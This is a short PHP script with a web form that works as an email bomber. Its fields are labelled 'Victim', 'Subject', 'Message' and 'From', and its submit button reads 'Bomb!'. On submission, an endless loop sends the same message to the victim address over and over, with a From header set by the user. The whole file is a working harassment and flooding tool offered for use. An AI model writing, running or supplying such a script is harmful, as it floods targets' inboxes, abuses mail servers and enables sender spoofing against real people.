<?php
$vic = htmlentities($_POST['vic']);
$subject = htmlentities($_POST['subj']);
$message = htmlentities($_POST['mes']);
$from = htmlentities($_POST['from']);
$sub = $_POST['sub'];
$all = "$vic$subject$message$from";
$i = 1;
if(!empty($all) && isset($sub)){
    do {
        mail($vic, $subject, $message, "From: ".$from);
    } while ($i > 0);
} else if (empty($all) && isset($sub)){
    echo 'Please enter all fields!';
}
?>
<form action="#" method="POST">
    Victim: <input type="text" name="vic"><br>
    Subject: <input type="text" name="subj"><br>
    Message: <input type="text" name="mes"><br>
    From: <input type="text" name="from"><br>
    <input type="submit" name="sub" value="Bomb!">
</form> 
